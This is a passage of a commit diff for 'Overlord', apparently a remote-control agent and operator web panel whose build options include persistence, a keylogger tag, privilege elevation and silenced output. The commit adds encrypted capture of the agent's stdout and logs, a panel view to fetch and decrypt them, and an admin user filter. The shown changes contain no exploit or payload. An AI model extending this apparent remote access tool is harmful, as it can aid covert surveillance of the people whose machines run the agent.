encrypted logs, more customization for admins.
This commit is contained in:
@@ -516,3 +516,5 @@ save.txt
|
||||
*.wasm
|
||||
Albedo/*
|
||||
plink/*
|
||||
plugins/plink/*
|
||||
plugins/plink-static/*
|
||||
@@ -33,6 +33,7 @@ var DefaultBuildTag = ""
|
||||
var DefaultSleepSeconds = "0"
|
||||
var DefaultCriticalProcess = "false"
|
||||
var DefaultFetchPublicIP = "false"
|
||||
var DefaultSecureLogPublicKey = ""
|
||||
|
||||
const settingsFile = "config/settings.json"
|
||||
const serverIndexFile = "config/server_index.json"
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/securelog"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
"overlord-client/cmd/agent/webrtcpub"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
@@ -2023,6 +2024,31 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
caps := audio.ProbeCapabilities()
|
||||
payload, _ := json.Marshal(caps)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
|
||||
case "client_logs_request":
|
||||
payload := payloadAsMap(envelope["payload"])
|
||||
sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"]))
|
||||
limit := int(payloadNumberToInt64(payload["limit"]))
|
||||
snap := securelog.SnapshotLogs(sinceSeq, limit)
|
||||
entries := make([]wire.ClientLogEntry, 0, len(snap.Entries))
|
||||
for _, entry := range snap.Entries {
|
||||
entries = append(entries, wire.ClientLogEntry{
|
||||
Seq: entry.Seq,
|
||||
At: entry.At,
|
||||
Source: entry.Source,
|
||||
Blob: entry.Blob,
|
||||
})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{
|
||||
Type: "client_logs_result",
|
||||
CommandID: cmdID,
|
||||
OK: snap.Enabled && snap.Error == "",
|
||||
Entries: entries,
|
||||
Dropped: snap.Dropped,
|
||||
FromSeq: snap.FromSeq,
|
||||
ToSeq: snap.ToSeq,
|
||||
Enabled: snap.Enabled,
|
||||
Error: snap.Error,
|
||||
})
|
||||
case "desktop_audio_start":
|
||||
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
||||
source := "system"
|
||||
|
||||
@@ -4,21 +4,10 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/securelog"
|
||||
)
|
||||
|
||||
var devNullFile *os.File
|
||||
|
||||
func init() {
|
||||
log.SetOutput(io.Discard)
|
||||
|
||||
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
devNullFile = file
|
||||
os.Stdout = file
|
||||
os.Stderr = file
|
||||
securelog.Install(config.DefaultSecureLogPublicKey)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
package securelog
|
||||
|
||||
type Entry struct {
|
||||
Seq uint64 `msgpack:"seq" json:"seq"`
|
||||
At int64 `msgpack:"at" json:"at"`
|
||||
Source string `msgpack:"source" json:"source"`
|
||||
Blob string `msgpack:"blob" json:"blob"`
|
||||
}
|
||||
|
||||
type Snapshot struct {
|
||||
Entries []Entry
|
||||
Dropped uint64
|
||||
FromSeq uint64
|
||||
ToSeq uint64
|
||||
Enabled bool
|
||||
Error string
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
//go:build noprint
|
||||
// +build noprint
|
||||
|
||||
package securelog
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
maxEntries = 2048
|
||||
maxLineBytes = 64 * 1024
|
||||
maxSnapshotCount = 512
|
||||
)
|
||||
|
||||
type encryptedEnvelope struct {
|
||||
V int `json:"v"`
|
||||
Alg string `json:"alg"`
|
||||
Seq uint64 `json:"seq"`
|
||||
At int64 `json:"at"`
|
||||
Source string `json:"source"`
|
||||
WrappedKey string `json:"wrappedKey"`
|
||||
Nonce string `json:"nonce"`
|
||||
Ciphertext string `json:"ciphertext"`
|
||||
}
|
||||
|
||||
type captureWriter struct {
|
||||
source string
|
||||
}
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
entries []Entry
|
||||
dropped uint64
|
||||
seq uint64
|
||||
enabled atomic.Bool
|
||||
lastError atomic.Value
|
||||
publicKey *rsa.PublicKey
|
||||
originalOut *os.File
|
||||
originalErr *os.File
|
||||
)
|
||||
|
||||
func Install(publicKeyB64 string) {
|
||||
if enabled.Load() {
|
||||
return
|
||||
}
|
||||
originalOut = os.Stdout
|
||||
originalErr = os.Stderr
|
||||
|
||||
key, err := parsePublicKey(publicKeyB64)
|
||||
if err != nil {
|
||||
setError(err.Error())
|
||||
log.SetOutput(io.Discard)
|
||||
redirectToNull()
|
||||
return
|
||||
}
|
||||
publicKey = key
|
||||
enabled.Store(true)
|
||||
|
||||
log.SetOutput(captureWriter{source: "log"})
|
||||
log.SetFlags(log.LstdFlags)
|
||||
redirectPipe("stdout", originalOut, func(f *os.File) { os.Stdout = f })
|
||||
redirectPipe("stderr", originalErr, func(f *os.File) { os.Stderr = f })
|
||||
}
|
||||
|
||||
func SnapshotLogs(sinceSeq uint64, limit int) Snapshot {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
|
||||
if limit <= 0 || limit > maxSnapshotCount {
|
||||
limit = maxSnapshotCount
|
||||
}
|
||||
out := make([]Entry, 0, min(limit, len(entries)))
|
||||
for _, entry := range entries {
|
||||
if entry.Seq <= sinceSeq {
|
||||
continue
|
||||
}
|
||||
out = append(out, entry)
|
||||
if len(out) >= limit {
|
||||
break
|
||||
}
|
||||
}
|
||||
var from, to uint64
|
||||
if len(out) > 0 {
|
||||
from = out[0].Seq
|
||||
to = out[len(out)-1].Seq
|
||||
}
|
||||
return Snapshot{
|
||||
Entries: out,
|
||||
Dropped: dropped,
|
||||
FromSeq: from,
|
||||
ToSeq: to,
|
||||
Enabled: enabled.Load(),
|
||||
Error: currentError(),
|
||||
}
|
||||
}
|
||||
|
||||
func (w captureWriter) Write(p []byte) (int, error) {
|
||||
record(w.source, p)
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func redirectPipe(source string, mirror *os.File, assign func(*os.File)) {
|
||||
reader, writer, err := os.Pipe()
|
||||
if err != nil {
|
||||
setError(fmt.Sprintf("%s pipe failed: %v", source, err))
|
||||
redirectToNull()
|
||||
return
|
||||
}
|
||||
assign(writer)
|
||||
go readPipe(source, reader, mirror)
|
||||
}
|
||||
|
||||
func readPipe(source string, reader *os.File, mirror *os.File) {
|
||||
scanner := bufio.NewScanner(reader)
|
||||
scanner.Buffer(make([]byte, 4096), maxLineBytes)
|
||||
for scanner.Scan() {
|
||||
record(source, append(scanner.Bytes(), '\n'))
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
record("securelog", []byte(fmt.Sprintf("%s capture error: %v\n", source, err)))
|
||||
}
|
||||
}
|
||||
|
||||
func record(source string, raw []byte) {
|
||||
if !enabled.Load() || publicKey == nil || len(raw) == 0 {
|
||||
return
|
||||
}
|
||||
if len(raw) > maxLineBytes {
|
||||
raw = append(raw[:maxLineBytes], []byte("\n[securelog] line truncated\n")...)
|
||||
}
|
||||
raw = bytes.TrimRight(raw, "\r\n")
|
||||
if len(raw) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
nextSeq := atomic.AddUint64(&seq, 1)
|
||||
now := time.Now().UnixMilli()
|
||||
blob, err := encryptEntry(nextSeq, now, source, raw)
|
||||
if err != nil {
|
||||
setError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
entry := Entry{Seq: nextSeq, At: now, Source: source, Blob: blob}
|
||||
mu.Lock()
|
||||
if len(entries) >= maxEntries {
|
||||
copy(entries, entries[1:])
|
||||
entries[len(entries)-1] = entry
|
||||
dropped++
|
||||
} else {
|
||||
entries = append(entries, entry)
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
mirrorEncrypted(entry)
|
||||
}
|
||||
|
||||
func encryptEntry(seq uint64, at int64, source string, plaintext []byte) (string, error) {
|
||||
aesKey := make([]byte, 32)
|
||||
nonce := make([]byte, 12)
|
||||
if _, err := rand.Read(aesKey); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
aad := []byte(fmt.Sprintf("%d:%d:%s", seq, at, source))
|
||||
ciphertext := gcm.Seal(nil, nonce, plaintext, aad)
|
||||
wrapped, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, aad)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
env := encryptedEnvelope{
|
||||
V: 1,
|
||||
Alg: "RSA-OAEP-SHA256+A256GCM",
|
||||
Seq: seq,
|
||||
At: at,
|
||||
Source: source,
|
||||
WrappedKey: base64.StdEncoding.EncodeToString(wrapped),
|
||||
Nonce: base64.StdEncoding.EncodeToString(nonce),
|
||||
Ciphertext: base64.StdEncoding.EncodeToString(ciphertext),
|
||||
}
|
||||
jsonBytes, err := json.Marshal(env)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(jsonBytes), nil
|
||||
}
|
||||
|
||||
func mirrorEncrypted(entry Entry) {
|
||||
if originalOut == nil {
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprintf(originalOut, "OVERLORD-SECURE-LOG v1 seq=%d source=%s %s\n", entry.Seq, entry.Source, entry.Blob)
|
||||
}
|
||||
|
||||
func parsePublicKey(publicKeyB64 string) (*rsa.PublicKey, error) {
|
||||
raw := strings.TrimSpace(publicKeyB64)
|
||||
if raw == "" {
|
||||
return nil, fmt.Errorf("secure log public key missing")
|
||||
}
|
||||
der, err := base64.StdEncoding.DecodeString(raw)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("secure log public key decode failed: %w", err)
|
||||
}
|
||||
pub, err := x509.ParsePKIXPublicKey(der)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("secure log public key parse failed: %w", err)
|
||||
}
|
||||
rsaPub, ok := pub.(*rsa.PublicKey)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("secure log public key is not RSA")
|
||||
}
|
||||
return rsaPub, nil
|
||||
}
|
||||
|
||||
func redirectToNull() {
|
||||
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
os.Stdout = file
|
||||
os.Stderr = file
|
||||
}
|
||||
|
||||
func setError(msg string) {
|
||||
lastError.Store(msg)
|
||||
}
|
||||
|
||||
func currentError() string {
|
||||
if v := lastError.Load(); v != nil {
|
||||
if s, ok := v.(string); ok {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build !noprint
|
||||
// +build !noprint
|
||||
|
||||
package securelog
|
||||
|
||||
func Install(_ string) {}
|
||||
|
||||
func SnapshotLogs(_ uint64, _ int) Snapshot {
|
||||
return Snapshot{Enabled: false, Error: "secure client logs are not enabled for this build"}
|
||||
}
|
||||
@@ -67,6 +67,25 @@ type CommandResult struct {
|
||||
Message string `msgpack:"message,omitempty"`
|
||||
}
|
||||
|
||||
type ClientLogEntry struct {
|
||||
Seq uint64 `msgpack:"seq" json:"seq"`
|
||||
At int64 `msgpack:"at" json:"at"`
|
||||
Source string `msgpack:"source" json:"source"`
|
||||
Blob string `msgpack:"blob" json:"blob"`
|
||||
}
|
||||
|
||||
type ClientLogsResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
OK bool `msgpack:"ok"`
|
||||
Entries []ClientLogEntry `msgpack:"entries,omitempty"`
|
||||
Dropped uint64 `msgpack:"dropped,omitempty"`
|
||||
FromSeq uint64 `msgpack:"fromSeq,omitempty"`
|
||||
ToSeq uint64 `msgpack:"toSeq,omitempty"`
|
||||
Enabled bool `msgpack:"enabled"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FrameHeader struct {
|
||||
Monitor int `msgpack:"monitor"`
|
||||
FPS int `msgpack:"fps"`
|
||||
|
||||
@@ -1783,6 +1783,100 @@ function escapeHtml(text) {
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
function renderClientLogs(logs) {
|
||||
if (!Array.isArray(logs) || logs.length === 0) {
|
||||
return '<div class="text-sm text-slate-500 p-3">No secure logs returned.</div>';
|
||||
}
|
||||
return logs.map((entry) => {
|
||||
const ts = entry.at ? new Date(entry.at).toLocaleString() : "";
|
||||
const source = entry.source || "log";
|
||||
return `<div class="border-b border-slate-800 py-2">
|
||||
<div class="text-xs text-slate-500 mb-1">#${escapeHtml(entry.seq)} ${escapeHtml(source)} ${escapeHtml(ts)}</div>
|
||||
<pre class="whitespace-pre-wrap text-xs text-slate-200 font-mono">${escapeHtml(entry.text || "")}</pre>
|
||||
</div>`;
|
||||
}).join("");
|
||||
}
|
||||
|
||||
function openSecureLogsModal(clientId) {
|
||||
const overlay = document.createElement("div");
|
||||
overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60";
|
||||
overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); });
|
||||
|
||||
const modal = document.createElement("div");
|
||||
modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-5 w-[760px] max-w-[calc(100vw-24px)] max-h-[86vh] flex flex-col gap-4";
|
||||
modal.innerHTML = `
|
||||
<div class="flex items-center justify-between gap-3">
|
||||
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-file-shield text-sky-400"></i> Secure Logs</h3>
|
||||
<button class="secure-logs-close text-slate-400 hover:text-white"><i class="fa-solid fa-xmark"></i></button>
|
||||
</div>
|
||||
<div class="flex flex-wrap gap-2">
|
||||
<button class="secure-logs-fetch px-3 py-2 rounded-lg bg-sky-700 hover:bg-sky-600 text-white text-sm"><i class="fa-solid fa-download mr-1"></i> Request From Client</button>
|
||||
<button class="secure-logs-decrypt px-3 py-2 rounded-lg bg-slate-800 hover:bg-slate-700 text-slate-200 border border-slate-700 text-sm"><i class="fa-solid fa-key mr-1"></i> Decrypt Pasted Blob</button>
|
||||
</div>
|
||||
<textarea class="secure-logs-input min-h-28 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs text-slate-200 font-mono outline-none focus:border-sky-500" placeholder="Paste OVERLORD-SECURE-LOG lines here for offline recovery"></textarea>
|
||||
<div class="secure-logs-meta text-xs text-slate-500"></div>
|
||||
<div class="secure-logs-output overflow-auto rounded-lg border border-slate-800 bg-slate-950/70 p-3 min-h-48"></div>
|
||||
`;
|
||||
overlay.appendChild(modal);
|
||||
document.body.appendChild(overlay);
|
||||
|
||||
const output = modal.querySelector(".secure-logs-output");
|
||||
const meta = modal.querySelector(".secure-logs-meta");
|
||||
const input = modal.querySelector(".secure-logs-input");
|
||||
const fetchBtn = modal.querySelector(".secure-logs-fetch");
|
||||
const decryptBtn = modal.querySelector(".secure-logs-decrypt");
|
||||
modal.querySelector(".secure-logs-close")?.addEventListener("click", () => overlay.remove());
|
||||
|
||||
fetchBtn.addEventListener("click", async () => {
|
||||
fetchBtn.disabled = true;
|
||||
output.innerHTML = '<div class="text-sm text-slate-400 p-3">Requesting logs...</div>';
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/logs`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ limit: 200 }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok || !data.ok) {
|
||||
meta.textContent = data.clientError || data.error || "Secure logs request failed";
|
||||
} else {
|
||||
meta.textContent = `Entries ${data.fromSeq || 0}-${data.toSeq || 0}; dropped ${data.dropped || 0}`;
|
||||
}
|
||||
output.innerHTML = renderClientLogs(data.logs || []);
|
||||
} catch (err) {
|
||||
meta.textContent = err.message || "Secure logs request failed";
|
||||
output.innerHTML = "";
|
||||
} finally {
|
||||
fetchBtn.disabled = false;
|
||||
}
|
||||
});
|
||||
|
||||
decryptBtn.addEventListener("click", async () => {
|
||||
const blob = input.value.trim();
|
||||
if (!blob) {
|
||||
input.focus();
|
||||
return;
|
||||
}
|
||||
decryptBtn.disabled = true;
|
||||
output.innerHTML = '<div class="text-sm text-slate-400 p-3">Decrypting...</div>';
|
||||
try {
|
||||
const res = await fetch("/api/client-logs/decrypt", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ blob }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
meta.textContent = data.errors?.length ? `${data.errors.length} blob(s) could not decrypt` : "Offline blob decrypted";
|
||||
output.innerHTML = renderClientLogs(data.logs || []);
|
||||
} catch (err) {
|
||||
meta.textContent = err.message || "Decrypt failed";
|
||||
output.innerHTML = "";
|
||||
} finally {
|
||||
decryptBtn.disabled = false;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
window.banClient = async (clientId) => {
|
||||
if (!clientId) return;
|
||||
if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return;
|
||||
@@ -2054,6 +2148,11 @@ menu.addEventListener("click", async (e) => {
|
||||
if (ok) setTimeout(() => loadWithOptions({ force: true }), 200);
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
} else if (action === "secure-logs") {
|
||||
const savedClientId = contextCard;
|
||||
closeMenu(clearContext);
|
||||
openSecureLogsModal(savedClientId);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!isClientOnline(contextCard)) {
|
||||
|
||||
@@ -46,6 +46,7 @@ const MENU_GROUPS = [
|
||||
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
||||
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
||||
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
|
||||
{ label: "Secure Logs", icon: "fa-solid fa-file-shield", icolor: "text-sky-300", action: "secure-logs" },
|
||||
{ divider: true },
|
||||
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||
{ divider: true },
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
let currentUser = null;
|
||||
let users = [];
|
||||
let onlyOwnUsers = localStorage.getItem("adminOnlyOwnUsers") === "1";
|
||||
|
||||
import { escapeHtml, formatDate } from "./format.js";
|
||||
|
||||
const usersTableBody = document.getElementById("users-table-body");
|
||||
const addUserBtn = document.getElementById("add-user-btn");
|
||||
const ownUsersToggle = document.getElementById("own-users-toggle");
|
||||
const userModal = document.getElementById("user-modal");
|
||||
const modalTitle = document.getElementById("modal-title");
|
||||
const userForm = document.getElementById("user-form");
|
||||
@@ -78,6 +80,8 @@ async function getCurrentUser() {
|
||||
alert("Access denied. Admin role required.");
|
||||
window.location.href = "/";
|
||||
}
|
||||
|
||||
renderUsers();
|
||||
} else {
|
||||
window.location.href = "/";
|
||||
}
|
||||
@@ -130,19 +134,24 @@ async function loadUsers() {
|
||||
}
|
||||
|
||||
function renderUsers() {
|
||||
if (users.length === 0) {
|
||||
const visibleUsers = getVisibleUsers();
|
||||
|
||||
if (visibleUsers.length === 0) {
|
||||
const emptyMessage = onlyOwnUsers && users.length > 0
|
||||
? "No users created by you"
|
||||
: "No users found";
|
||||
usersTableBody.innerHTML = `
|
||||
<tr>
|
||||
<td colspan="6" class="px-6 py-12 text-center text-slate-400">
|
||||
<i class="fa-solid fa-users mr-2"></i>
|
||||
No users found
|
||||
${emptyMessage}
|
||||
</td>
|
||||
</tr>
|
||||
`;
|
||||
return;
|
||||
}
|
||||
|
||||
usersTableBody.innerHTML = users
|
||||
usersTableBody.innerHTML = visibleUsers
|
||||
.map(
|
||||
(user) => `
|
||||
<tr class="hover:bg-slate-800/30 transition-colors">
|
||||
@@ -275,6 +284,15 @@ function renderUsers() {
|
||||
attachActionListeners();
|
||||
}
|
||||
|
||||
function getVisibleUsers() {
|
||||
if (!onlyOwnUsers || !currentUser) return users;
|
||||
return users.filter((user) => (
|
||||
user.id === currentUser.userId ||
|
||||
user.username === currentUser.username ||
|
||||
user.created_by === currentUser.username
|
||||
));
|
||||
}
|
||||
|
||||
function getRoleBadge(role) {
|
||||
const badges = {
|
||||
admin:
|
||||
@@ -378,6 +396,15 @@ addUserBtn.addEventListener("click", () => {
|
||||
closeModal.addEventListener("click", hideModal);
|
||||
cancelBtn.addEventListener("click", hideModal);
|
||||
|
||||
if (ownUsersToggle) {
|
||||
ownUsersToggle.checked = onlyOwnUsers;
|
||||
ownUsersToggle.addEventListener("change", () => {
|
||||
onlyOwnUsers = ownUsersToggle.checked;
|
||||
localStorage.setItem("adminOnlyOwnUsers", onlyOwnUsers ? "1" : "0");
|
||||
renderUsers();
|
||||
});
|
||||
}
|
||||
|
||||
userForm.addEventListener("submit", async (e) => {
|
||||
e.preventDefault();
|
||||
|
||||
|
||||
@@ -447,13 +447,13 @@
|
||||
</span>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors">
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
|
||||
<input type="checkbox" name="no-printing" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-volume-xmark text-rose-400"></i> Disable Client Printing
|
||||
<i class="fa-solid fa-lock text-sky-400"></i> Secure Client Logs
|
||||
</span>
|
||||
<span class="text-xs text-slate-500">Silence all stdout/stderr and log output</span>
|
||||
<span class="text-xs text-slate-500">Capture stdout/stderr and logs as encrypted base64</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
|
||||
@@ -47,6 +47,15 @@
|
||||
<h2 class="text-2xl font-bold text-slate-100 mb-1">Users</h2>
|
||||
<p class="text-slate-400 text-sm">Manage user accounts and roles</p>
|
||||
</div>
|
||||
<div class="flex items-center gap-3">
|
||||
<label class="inline-flex items-center gap-2 px-3 py-2 bg-slate-900/60 border border-slate-800 rounded-lg text-sm text-slate-300">
|
||||
<input
|
||||
id="own-users-toggle"
|
||||
type="checkbox"
|
||||
class="h-4 w-4 rounded border-slate-600 bg-slate-800 text-blue-600 focus:ring-blue-500"
|
||||
/>
|
||||
<span>Only my users</span>
|
||||
</label>
|
||||
<button
|
||||
id="add-user-btn"
|
||||
class="px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white rounded-lg transition-colors font-medium"
|
||||
@@ -54,6 +63,7 @@
|
||||
<i class="fa-solid fa-user-plus mr-2"></i>Add User
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Users Table -->
|
||||
<div
|
||||
|
||||
@@ -208,6 +208,10 @@ type SaveSecrets = {
|
||||
privateKey?: string;
|
||||
publicKey?: string;
|
||||
};
|
||||
clientLogs?: {
|
||||
privateKey?: string;
|
||||
publicKey?: string;
|
||||
};
|
||||
};
|
||||
|
||||
export type BuildSigningSecrets = {
|
||||
@@ -215,6 +219,11 @@ export type BuildSigningSecrets = {
|
||||
publicKey: string;
|
||||
};
|
||||
|
||||
export type ClientLogSecrets = {
|
||||
privateKey: string;
|
||||
publicKey: string;
|
||||
};
|
||||
|
||||
function generateRandomSecret(length = 48): string {
|
||||
const chars =
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*";
|
||||
@@ -1025,6 +1034,26 @@ export function setBuildSigningSecrets(secrets: BuildSigningSecrets): void {
|
||||
persistSaveSecrets(savePath, saved);
|
||||
}
|
||||
|
||||
export function getClientLogSecrets(): ClientLogSecrets | null {
|
||||
const dataDir = ensureDataDir();
|
||||
const savePath = resolve(dataDir, "save.json");
|
||||
const saved = loadSaveSecrets(savePath);
|
||||
const priv = saved.clientLogs?.privateKey;
|
||||
const pub = saved.clientLogs?.publicKey;
|
||||
if (typeof priv === "string" && priv && typeof pub === "string" && pub) {
|
||||
return { privateKey: priv, publicKey: pub };
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function setClientLogSecrets(secrets: ClientLogSecrets): void {
|
||||
const dataDir = ensureDataDir();
|
||||
const savePath = resolve(dataDir, "save.json");
|
||||
const saved = loadSaveSecrets(savePath);
|
||||
saved.clientLogs = { privateKey: secrets.privateKey, publicKey: secrets.publicKey };
|
||||
persistSaveSecrets(savePath, saved);
|
||||
}
|
||||
|
||||
export function getBuildBanlist(): string[] {
|
||||
return getConfig().buildSigning.banlist;
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ export type MessageKind =
|
||||
| "pong"
|
||||
| "command"
|
||||
| "command_result"
|
||||
| "client_logs_result"
|
||||
| "screenshot_result"
|
||||
| "frame"
|
||||
| "status"
|
||||
@@ -103,6 +104,7 @@ export type CommandType =
|
||||
| "voice_session_stop"
|
||||
| "voice_downlink"
|
||||
| "voice_capabilities"
|
||||
| "client_logs_request"
|
||||
| "desktop_audio_start"
|
||||
| "desktop_audio_stop"
|
||||
| "process_list"
|
||||
@@ -151,6 +153,25 @@ export type CommandResult = {
|
||||
message?: string;
|
||||
};
|
||||
|
||||
export type ClientLogEntry = {
|
||||
seq: number;
|
||||
at: number;
|
||||
source: string;
|
||||
blob: string;
|
||||
};
|
||||
|
||||
export type ClientLogsResult = {
|
||||
type: "client_logs_result";
|
||||
commandId?: string;
|
||||
ok: boolean;
|
||||
entries?: ClientLogEntry[];
|
||||
dropped?: number;
|
||||
fromSeq?: number;
|
||||
toSeq?: number;
|
||||
enabled: boolean;
|
||||
error?: string;
|
||||
};
|
||||
|
||||
export type ScreenshotResult = {
|
||||
type: "screenshot_result";
|
||||
commandId?: string;
|
||||
@@ -467,6 +488,7 @@ export type WireMessage =
|
||||
| Pong
|
||||
| Command
|
||||
| CommandResult
|
||||
| ClientLogsResult
|
||||
| ScreenshotResult
|
||||
| Frame
|
||||
| FrameAck
|
||||
|
||||
@@ -7,6 +7,7 @@ import { getUserById, canUploadFiles } from "../users";
|
||||
import { logger } from "../logger";
|
||||
import { getConfig } from "../config";
|
||||
import { signBuildToken } from "./build-signing";
|
||||
import { getClientLogPublicKey } from "./client-log-crypto";
|
||||
import { ensureDataDir } from "../paths";
|
||||
import * as buildManager from "../build/buildManager";
|
||||
import type { BuildStream } from "../build/types";
|
||||
@@ -1134,7 +1135,12 @@ func runBoundFiles() {
|
||||
}
|
||||
|
||||
if (config.noPrinting) {
|
||||
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
|
||||
const secureLogPublicKey = getClientLogPublicKey();
|
||||
if (secureLogPublicKey) {
|
||||
const secureLogFlag = `-X overlord-client/cmd/agent/config.DefaultSecureLogPublicKey=${secureLogPublicKey}`;
|
||||
ldflags = ldflags ? `${ldflags} ${secureLogFlag}` : secureLogFlag;
|
||||
}
|
||||
sendToStream({ type: "output", text: "Secure client logs enabled (encrypted noprint capture)\n", level: "info" });
|
||||
}
|
||||
if (config.disableKeylogger) {
|
||||
sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" });
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
import { beforeAll, describe, expect, test } from "bun:test";
|
||||
import { constants, createCipheriv, createPublicKey, publicEncrypt, randomBytes } from "crypto";
|
||||
import { mkdtempSync } from "fs";
|
||||
import { join } from "path";
|
||||
import { tmpdir } from "os";
|
||||
import { decryptClientLogBlob, extractSecureLogBlobs, getClientLogPublicKey } from "./client-log-crypto";
|
||||
|
||||
beforeAll(() => {
|
||||
process.env.DATA_DIR = mkdtempSync(join(tmpdir(), "overlord-client-log-test-"));
|
||||
});
|
||||
|
||||
function makeBlob(seq: number, at: number, source: string, text: string): string {
|
||||
const publicKey = Buffer.from(getClientLogPublicKey(), "base64");
|
||||
const aesKey = randomBytes(32);
|
||||
const nonce = randomBytes(12);
|
||||
const aad = Buffer.from(`${seq}:${at}:${source}`, "utf8");
|
||||
const cipher = createCipheriv("aes-256-gcm", aesKey, nonce);
|
||||
cipher.setAAD(aad);
|
||||
const encrypted = Buffer.concat([cipher.update(text, "utf8"), cipher.final(), cipher.getAuthTag()]);
|
||||
const wrapped = publicEncrypt(
|
||||
{
|
||||
key: createPublicKey({ key: publicKey, format: "der", type: "spki" }),
|
||||
oaepHash: "sha256",
|
||||
padding: constants.RSA_PKCS1_OAEP_PADDING,
|
||||
oaepLabel: aad,
|
||||
},
|
||||
aesKey,
|
||||
);
|
||||
return Buffer.from(JSON.stringify({
|
||||
